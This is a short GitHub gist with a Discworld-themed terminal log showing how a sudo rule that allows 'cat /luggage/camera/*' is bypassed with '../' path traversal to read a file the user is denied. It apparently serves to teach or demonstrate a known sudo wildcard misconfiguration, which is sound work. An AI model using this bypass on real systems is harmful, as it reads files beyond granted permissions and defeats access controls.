Skip to content

Instantly share code, notes, and snippets.

@ridingintraffic
Created December 5, 2018 03:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ridingintraffic/44f45cdbecb282bd29c71d27cb19a300 to your computer and use it in GitHub Desktop.
Save ridingintraffic/44f45cdbecb282bd29c71d27cb19a300 to your computer and use it in GitHub Desktop.
octavo_read
$ twoflower@discworld:/luggage$ sudo -l
Matching Defaults entries for twoflower on discworld:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User twoflower may run the following commands on discworld:
(rincewind) /bin/cat /luggage/camera/*
$ twoflower@discworld:/luggage$ sudo -u rincewind cat /luggage/octavo/spell
Sorry, user twoflower is not allowed to execute '/bin/cat /luggage/octavo/spell' as rincewind on discworld.
$ twoflower@discworld:/luggage$ sudo -u rincewind cat /luggage/camera/../octavo/spell
Ashonai. Ebiris. Urshoring. Kvanti. Pythan. N'gurad. Feringomalee.
twoflower@discworld:/luggage$
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment